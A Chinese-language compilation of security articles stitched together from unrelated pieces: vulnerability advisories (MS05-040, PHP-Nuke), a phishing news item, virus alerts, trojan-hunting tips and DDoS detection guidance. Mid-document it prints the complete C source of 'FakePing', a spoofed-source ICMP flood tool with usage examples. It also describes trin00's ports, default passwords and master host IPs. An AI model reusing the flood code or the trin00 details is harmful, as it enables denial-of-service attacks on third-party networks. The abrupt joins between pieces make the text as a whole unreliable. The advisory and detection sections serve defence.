由于Telephony服务是控制IP电话与传统电话网络连接的关键程序，那些使用了拨号上网、电脑上的传真服务、ISDN、IP电话服务的企业服务器都可能遭到黑客的匿名攻击。在Win2000/XP/2003中，黑客可以利用此漏洞把自己从普通电脑用户提升成系统管理员。

放火墙

　　瑞星安全专家警告使用Win2000及以上系统的企业和个人用户，必须立刻安装MS05-040补丁，如果由于盗版等原因无法正常安装补丁程序，可以采取以下措施暂时阻止黑客的攻击：禁用Telephony服务：单击“开始”—“控制面板”，双击“管理工具”—“服务”—“Telephony”，在启动类型列表中，单击“禁用”。（禁用Telephony服务之后，电脑的拨号上网、ISDN、传真服务、IP电话等功能不能使用）。在瑞星防火墙中添加新的规则，禁用以下端口：TCP 端口 135、139、445 和 593。

　　瑞星安全专家马杰表示 ，今年上半年以来，windows系统、IE和Firefox等主流浏览器等相继出现了许多漏洞，对于企业局域网用户造成了严重的安全风险。他建议广大企业用户，应该关注安全厂商发布的安全警告，还可以利用瑞星杀毒软件网络版所捆绑的“全网漏洞管理”软件对整个网络存在的漏洞进行扫描，并及时打好系统补丁。

　　据安全专业厂商Sophos公司于当地时间本周三表示，电脑黑客在一次新的欺诈攻击中发送了一份看来似乎是来自PayPal的电子邮件警告，并在这些电子邮件中称：有人企图重新设置收件人的密码，并且要求收件人参与这次调查。据Sophos公司表示，这些电子邮件直接将用户引向托管在一个网站上的一份微软Word文档中，并强烈要求他们下载这一表格、填写它，然后将它传真给一个免费号码。要求用户在这一表格上填写有关信用卡的资料。

　　据Sophos公司的高级技术顾问格雷厄姆·克鲁利表示，攻击者利用的这种新策略的出现恰逢人们对要求他们填写个人机密资料的电子邮件越来越感到怀疑之际。据他表示，在过去的几天内，我们已经发现了一些利用这种新策略的企图，钓鱼式攻击者正在对那些已经对在网站上透露个人信息有了戒心的用户试用一种新技术，他们希望人们感觉到向对方发送传真会更安全一些。据克鲁利补充说，对这些钓鱼式欺诈攻击者来说，运用这种方法我认为似乎有点太愚昧了，因为警方能够很容易地就发现电话号码，但目前还不清楚的是：他们是否会迅速地获得一个免费电话号码，然后再很快地仍掉它，或者他们是否是使用假身份证购买的这一号码，要么就是已将电话转接到了美国之外的一部卫星电话上等。

　　据克鲁利表示，由于用户对这种要求输入其个人保密资料的事情已经非常警惕了，所以像这种基于电子邮件的钓鱼式攻击对人们的影响可能会变得越来越小。钓鱼式攻击者最终将会看到他们的这些基于利用邮件诱惑人们、实现他们进行恶意攻击方面的努力将不会再起到多么大的作用。然而，克鲁利也表示，由于信息的获得是秘密进行的，因此，像特洛伊木马和蠕虫等这样的病毒仍然在变得更加流行。这是目前病毒发展的趋势。

PHP-Nuke在脚本中的调试信息处理存在问题，可以使远程攻击者得到数据库查询请求的一些敏感信息。

sql_layer.php脚本有一个调试功能可以被攻击者利用来获得所有PHP-Nuke的查询请求信息。对调试功能的访问并不只限于管理员。远程攻击者可能利用这个漏洞得到数据库相关的敏感信息并进一步攻击数据库所在的Web服务器。

解决方案: 如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 关闭SQL调试功能。

厂商补丁：

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.phpnuke.org

今日提醒用户特别注意以下病毒:“灰鸽子”(Hack.Huigezi.bk)和“QQ大盗”(Troj.QQPass.dy)。

“灰鸽子”(Hack.Huigezi.bk)是集多种控制方法于一体的黑客、后门病毒。一旦中此病毒，便被后门种植者有效地控制计算机，用户的一举一动都将清晰无疑暴露在后门种植者面前。

“QQ大盗”(Troj.QQPass.dy)木马病毒，巧妙伪装成图片骗取用户点击率，图片弹出即病毒自运行。截取用户QQ号及密码后，关闭大量安全软件，通过自带SMTP引擎发送到指定邮箱。

一、 “灰鸽子”(Hack.Huigezi.bk) 威胁级别:★★

病毒特征:这是一个集多种控制方法于一体的黑客、后门病毒。

发作症状:一旦用户中此病毒，就可能被后门种植者有效控制计算机。控制者可利用病毒自动上线功能轻易查找用户电脑IP;控制后攻击者可任意操作用户电脑上的文件，发送多种控制命令，操作本机注册表，获取用户电脑IP地址、地址位置、电脑名称、系统版本、备注等信息，还具有语音监听、语音发送、远程视频监控功能，用户的一举一动都将清晰暴露在后门种植者面前，直接降低系统安全性能。

二、“QQ大盗”(Troj.QQPass.dy) 威胁级别:★★

病毒特征:这是一个盗取QQ号的木马病毒。

发作症状:病毒在系统中释放下列文件:

%system%\wiusvt.exe

%system%\temp1.jpg

%system%\winvn.dll，添加到启动项，开机自运行。经巧妙

伪装成图片骗取用户点击，并自动查找QQ窗口。几分钟后，

便向该窗口发送关闭消息;窗口关闭后，若用户重新登陆，则会自动记录用户输入QQ号码和密码。关闭大量安全软件，通过自带SMTP引擎将盗取信息发送到指定邮箱。

金山毒霸安全小贴士:

1.盗取游戏帐号和密码的病毒日渐增多，请用户随时开启毒霸防火墙来防止此类病毒的入侵，给您的个人信息和数据提供一个安全的保障。

2.网络的发展，电脑遭受黑客攻击的问题也趋于严重，许多网络病毒采用黑客的方法攻击用户电脑。因此，用户还应该安装个人防火墙软件进行防黑。

3.关注安全网站，留意系统更新消息，尽快将有漏洞的系统打上最新补丁，防止病毒利用漏洞传播。

但是就算你熟悉了所有已知木马端口，也还是不能完全防范这些木马的，我们需要进一步查找木马。
奇奇曾经做了一个试验：我知道netspy.exe开放的是7306端口，于是我用工具把它的端口修改了，经过修改的木马开放的是7777端口了，你现在再用老办法是找不到netspy.exe木马了。于是我们可以用扫描自己的电脑的办法看看电脑有多少端口开放着，并且再分析这些开放的端口。
前面讲了电脑的端口是从0到65535为止，其中139端口是正常的，首先找个端口扫描器，奇奇推荐“代理猎手”，你上网以后，找到自己的IP地址，现在请关闭正在运行的网络软件，因为可能开放的端口会被误认为是木马的端口，然后让代理猎手对0到65535端口扫描，如果除了139端口以外还有其他的端口开放，那么很可能是木马造成的。
排除了139端口以外的端口，你可以进一步分析了，用浏览器进入这个端口看看，它会做出什么样的反映，你可以根据情况再判断了。

//FakePing主函数
int main(int argc, char **argv)
{
　　int datasize,ErrorCode,counter,flag;
　　int TimeOut=2000, SendSEQ=0, PacketSize=32;
　　char SendBuf[65535]={0};
　　WSADATA wsaData;
　　SOCKET SockRaw=(SOCKET)NULL;
　　struct sockaddr_in DestAddr;
　　IP_HEADER ip_header;
　　ICMP_HEADER icmp_header;
　　char FakeSourceIp[20],DestIp[20];

//接受命令行参数
　　if (argc<3)
　　　{
　　　　　printf("FakePing by Shotgun
");
　　　　　printf(" This program can do Ping-Flooding from a FakeIP
");
　　　　　printf(" Using a BroadCast IP as the FakeIP will enhance the effect
");
　　　　　printf("Email:
");
　　　　　printf(" Shotgun@Xici.Net
");
　　　　　printf("HomePage:
");
　　　　　printf("http://It.Xici.Net
");
　　　　　printf("http://www.Patching.Net
");
　　　　　printf("USAGE:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
");
　　　　　printf("Example:
");
　　　　　printf(" FakePing.exe 192.168.15.23 192.168.15.255
");
　　　　　printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400
");
　　　　　exit(0);
　　　}
　　strcpy(FakeSourceIp,argv[1]);
　　strcpy(DestIp,argv[2]);
　　if (argc>3) PacketSize=atoi(argv[3]);
　　if (PacketSize>60000)
　　　{
　　　　　printf("Error! Packet size too big, must <60K
");
　　　　　exit(0);
　　　}
　　printf("Now Fake %s　Ping %s　using Packet size=%d bytes
",
　　FakeSourceIp, DestIp, PacketSize);
　　printf(" Ctrl+C to Quit
");
//初始化SOCK_RAW
　　if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
　　　{
　　　　　fprintf(stderr,"WSAStartup failed: %d
",ErrorCode);
　　　　　ExitProcess(STATUS_FAILED);
　　　}

　　if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
　　　{
　　　　　fprintf(stderr,"WSASocket() failed: %d
",WSAGetLastError());
　　　　　ExitProcess(STATUS_FAILED);
　　　}
　　flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部
　　ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
　　if(ErrorCode==SOCKET_ERROR)
　　　printf("Set IP_HDRINCL Error!
");
　　__try
{

//设置发送超时
　　ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
　　if (ErrorCode==SOCKET_ERROR)
　　　{
　　　　　fprintf(stderr,"Failed to set send TimeOut: %d
",WSAGetLastError());
　　　　　__leave;
　　　}
　　memset(&DestAddr,0,sizeof(DestAddr));
　　DestAddr.sin_family=AF_INET;
　　DestAddr.sin_addr.s_addr=inet_addr(DestIp);

//填充IP首部
　　ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号，低四位首部长度
　　ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度（字节）
　　ip_header.ident=1;

//16位标识
　　ip_header.frag_and_flags=0;

//3位标志位
　　ip_header.ttl=128;

//8位生存时间 TTL
　　ip_header.proto=IPPROTO_ICMP;

//8位协议 (TCP, UDP 或其他)
　　ip_header.checksum=0;

//16位IP首部校验和
　　ip_header.sourceIP=inet_addr(FakeSourceIp); //32

位源IP地址
　　ip_header.destIP=inet_addr(DestIp);

//32位目的IP地址
//填充ICMP首部
　　icmp_header.i_type = 8;
　　icmp_header.i_code = 0;
　　icmp_header.i_cksum = 0;
　　icmp_header.i_id = 2;
　　icmp_header.timestamp = 999;
　　icmp_header.i_seq=999;
　　memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
　　memset(SendBuf+sizeof(icmp_header), E, PacketSize);
　　icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);
　　memcpy(SendBuf,&ip_header,sizeof(ip_header));
　　memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
　　memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), E, PacketSize);
　　memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
　　datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
　　ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区
　　memcpy(SendBuf,&ip_header, sizeof(ip_header));
　　while(1)
　　　{
　　　　Sleep(100);
　　　　printf(".");
　　　　for(counter=0;counter<1024;counter++)
　　　　{
//发送ICMP报文
　　　　　ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
　　　　　if (ErrorCode==SOCKET_ERROR) printf("
Send Error:%d
",GetLastError());
　　　　}
　　　}
}//End of try

　__finally
　　{
　　　if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
　　　WSACleanup();
　　}
　return 0;
}

　　撰写本文的目的不是号召大家用FakePing工具去攻击美国站点，只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮，FakePing也只能算得上是火枪而已，而美国已经研制出了航空母舰（一个操作系统的复杂度完全可以和航母媲美），难道用大刀、长枪、火枪去对抗航母？这样是很感人，也很悲壮，但是没有别的方法了？我们不能回去研制自己的战列舰？要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动，我们不亡国才怪!

该攻击方式称为分布式D.O.S(Distributed Denial Of Service)攻击。国外一些高性能的商业网络和教育网络遭受到了这种攻击。它利用攻击者已经侵入并控制的主机（可能是数百台），对某一单机发起攻击。在悬殊的带宽力量对比下，被攻击的主机会很快失去反应。这种攻击方式被证实是非常有效的，而且非常难以抵挡。

　　一般的人比较难以顺利实现这些攻击。因为攻击者必须熟悉一些入侵技巧。出现在一些黑客网站上的两个已知工具可以帮助实现这种攻击。它们是trin00和Tribe Flood Network。源代码包的安装使用过程是比较复杂的，因为编译者首先要找一些internet上有漏洞的主机，通过一些典型而有效的远程溢出漏洞攻击程序，获取其系统控制权，然后在这些机器上装上并运行分布端的攻击守护进程，下面简单地介绍一下trin00的结构：
trin00由三部分组成：

1、客户端
2、主控端(master)
3、分布端(broadcast)---攻击守护进程
------------------------------------
1、客户端可以是telnet之类的常用连接软件，客户端的作用是向主控端(master)发送命令。它通过连接master的27665端口，然后向master发送对目标主机的攻击请求。
2、主控端(master)侦听两个端口，其中27655是接收攻击命令，这个会话是需要密码的。缺省的密码是"betaalmostdone"。master启动的时候还会显示一个提示符："??"，等待输入密码。密码为 "gOrave"，另一个端口是31335，等候分布端的UDP报文。
在7月份的时候这些master的机器是:
129.237.122.40
207.228.116.19
209.74.175.130
3、分布端是执行攻击的角色。分布端安装在攻击者已经控制的机器上,分布端编译前植入了主控端master的IP地址，分布端与主控端用UDP报文通信，发送到主控端的31355端口，其中包含"*HELLO*"的字节数据。主控端把目标主机的信息通过27444 UDP端口发送给分布端，分布端即发起flood攻击。

攻击者-->master-->分布端-->目标主机
通信端口：
攻击者 to Master(s): 27665/tcp
Master to 分布端: 27444/udp
分布端 to Master(s): 31335/udp

　　从分布端向受害者目标主机发送的D.O.S都是UDP报文，每一个包含4个空字节，这些报文都从一个端口发出，但随机地袭击目标主机上的不同端口。目标主机对每一个报文回复一个ICMP Port Unreachable的信息，大量不同主机发来的这些洪水般的报文源源不断，目标主机将很快慢下来，直至剩余带宽变为0。
DDos式攻击的步骤

　　透过寻常网路(网络)连线，使用者传送讯息要求服务器予以确认。服务器于是将连线许可回传给使用者。使用者确认后，获准登入服务器。

　　但在“拒绝服务”式攻击的情况下，使用者传送众多要求确认的讯息到服务器，使服务器充斥这种垃圾讯息。所有的讯息都附上捏造的地址，以至于服务器设图回传确认许可时，无法找到使用者。服务器于是暂时等候，有时超过一分钟，然后再切断连线。服务器切断连线时，骇客再度传送新一波佯装成要求确认的讯息，再度启动上述过程，导致服务器无法动弹，服务无限期停摆。这种攻击行动使网站服务器充斥大量要求答覆的讯息，导致系统不胜负荷以至于当机。
这种分布式拒绝服务攻击示意图如下：

*----------*
　　　　　　　　　　　| |
　　　　　　　　　　　| 攻击者 |
　　　　　　　　　　　| |
　　　　　　　　　　　*----------*
　　　　　　　　　　　 |
　　　　　　　　　　　 |
　　　　　　　　　　　*----------*
　　　　　　　　　　　| |
　　　　　　　　　　　| 主控端 |
　　　　　　　　　　　| |
　　　　　　　　　　　*----------*
　　　　　　　　　　　 |
(指挥各个分节点进行攻击)
　　　　　　　　　　　 |
　　　 *------------*------*------*------------*
　　　 | | | |
　　　 | | | |
　　 v v v v
*----------* *----------* *----------* *----------*
| | | | | | | |
| 代理端 | | 代理端 | | 代理端 | | 代理端 |
| | | | | | | |
*----------* *----------* *----------* *----------*
　　　　 / /
　　　 / /
　　　　　 / /
　　　　　　　　(大量的垃圾数据包进行攻击)
　　　 / /
　　　　　　 / /
　　　　　　　 / /
　　　　　　　 V V V V
　　　　　　　 *-----------------------*
　　　　　　　 | |
　　　　　　　 | 被攻击服务器 |
　　　　　　　 | |
　　　　　　　 *-----------------------*
根据网络通讯异常现象监测分布式拒绝服务攻击

许多人或工具在监测分布式拒绝服务攻击时常犯的错误是只搜索那些DDoS工具的缺省特征字符串、缺省端口、缺省口令等。要建立网络入侵监测系统（NIDS）对这些工具的监测规则，必须着重观察分析DDoS网络通讯的普遍特征，不管是明显的，还是模糊的。

　　DDoS工具产生的网络通讯信息有两种：控制信息通讯（在DDoS客户端与服务器端之间）和攻击时的网络通讯（在DDoS服务器端与目标主机之间）。

根据以下异常现象在网络入侵监测系统建立相应规则，能够较准确地监测出DDoS攻击。

　　异常现象0：虽然这不是真正的"DDoS"通讯，但却能够用来确定DDoS攻击的来源。根据分析，攻击者在进行DDoS攻击前总要解析目标的主机名。BIND域名服务器能够记录这些请求。由于每台攻击服务器在进行一个攻击前会发出PTR反向查询请求，也就是说在DDoS攻击前域名服务器会接收到大量的反向解析目标IP主机名的PTR查询请求。

　　异常现象1：当DDoS攻击一个站点时，会出现明显超出该网络正常工作时的极限通讯流量的现象。现在的技术能够分别对不同的源地址计算出对应的极限值。当明显超出此极限值时就表明存在DDoS攻击的通讯。因此可以在主干路由器端建立ACL访问控制规则以监测和过滤这些通讯。

　　异常现象2：特大型的ICP和UDP数据包。正常的UDP会话一般都使用小的UDP包，通常有效数据内容不超过10字节。正常的ICMP消息也不会超过64到128字节。那些尺寸明显大得多的数据包很有可能就是控制信息通讯用的，主要含有加密后的目标地址和一些命令选项。一旦捕获到（没有经过伪造的）控制信息通讯，DDoS服务器的位置就暴露出来了，因为控制信息通讯数据包的目标地址是没有伪造的。

　　异常现象3：不属于正常连接通讯的TCP和UDP数据包。最隐蔽的DDoS工具随机使用多种通讯协议（包括基于连接的协议）通过基于无连接通道发送数据。优秀的防火墙和路由规则能够发现这些数据包。另外，那些连接到高于1024而且不属于常用网络服务的目标端口的数据包也是非常值得怀疑的。

　　异常现象4：数据段内容只包含文字和数字字符（例如，没有空格、标点和控制字符）的数据包。这往往是数据经过BASE64编码后而只会含有base64字符集字符的特征。TFN2K发送的控制信息数据包就是这种类型的数据包。TFN2K（及其变种）的特征模式是在数据段中有一串A字符（AAA……），这是经过调整数据段大小和加密算法后的结果。如果没有使用BASE64编码，对于使用了加密算法数据包，这个连续的字符就是“”。

　　异常现象5：数据段内容只包含二进制和high-bit字符的数据包。虽然此时可能在传输二进制文件，但如果这些数据包不属于正常有效的通讯时，可以怀疑正在传输的是没有被BASE64编码但经过加密的控制信息通讯数据包。（如果实施这种规则，必须将20、21、80等端口上的传输排除在外。）

TCP/IP是美国政府资助的高级研究计划署(ARPA)在二十世纪七十年代的一个研究成果，用来使全球的研究网络联在一起形成一个虚拟网络，也就是国际互联网。原始的Internet通过将已有的网络如ARPAnet转换到TCP/IP上来而形成，而这个Internet最终成为如今的国际互联网的骨干网。